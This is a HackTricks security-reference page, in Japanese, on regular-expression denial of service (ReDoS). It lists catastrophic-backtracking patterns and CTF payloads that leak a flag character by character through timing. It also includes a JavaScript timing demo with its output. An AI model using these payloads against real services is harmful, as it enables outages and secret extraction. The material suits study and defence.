正規表現サービス拒否 - ReDoS

Reading time: 6 minutes

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

正規表現サービス拒否 (ReDoS)

正規表現サービス拒否 (ReDoS) は、誰かが正規表現（テキスト内のパターンを検索して一致させる方法）の動作の弱点を利用する場合に発生します。正規表現が使用されると、特に処理するテキストのサイズが大きくなると、非常に遅くなることがあります。この遅さは、テキストサイズがわずかに増加するだけで急速に悪化することがあります。攻撃者はこの問題を利用して、正規表現を使用するプログラムが長時間正常に動作しないようにすることができます。

問題のある正規表現のナイーブアルゴリズム

詳細は https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS を確認してください

悪意のある正規表現

悪意のある正規表現パターンとは、作成された入力に引っかかり、DoSを引き起こすことができるものです。悪意のある正規表現パターンは、通常、繰り返しを伴うグループ化や、繰り返しまたは交互の重複を含んでいます。悪意のあるパターンのいくつかの例は次のとおりです：

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} for x > 10

これらはすべて、入力 aaaaaaaaaaaaaaaaaaaaaaaa! に対して脆弱です。

ReDoS ペイロード

ReDoSによる文字列の抽出

CTF（またはバグバウンティ）では、正規表現が一致する機密情報（フラグ）を制御しているかもしれません。その場合、正規表現が一致した場合にページをフリーズ（タイムアウトまたは長い処理時間）させることが有用です。そうすることで、文字を1文字ずつ抽出することができます：

  • この投稿 では、このReDoSルールを見つけることができます: ^(?=<flag>)((.*)*)*salt$
  • 例: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • この解説 では、次のものを見つけることができます: <flag>(((((((.*)*)*)*)*)*)*)!
  • この解説 では、次のものを使用しました: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoSの入力と正規表現の制御

以下は、入力と正規表現の両方を制御するReDoSの例です：

javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
;[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

ツール

参考文献

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする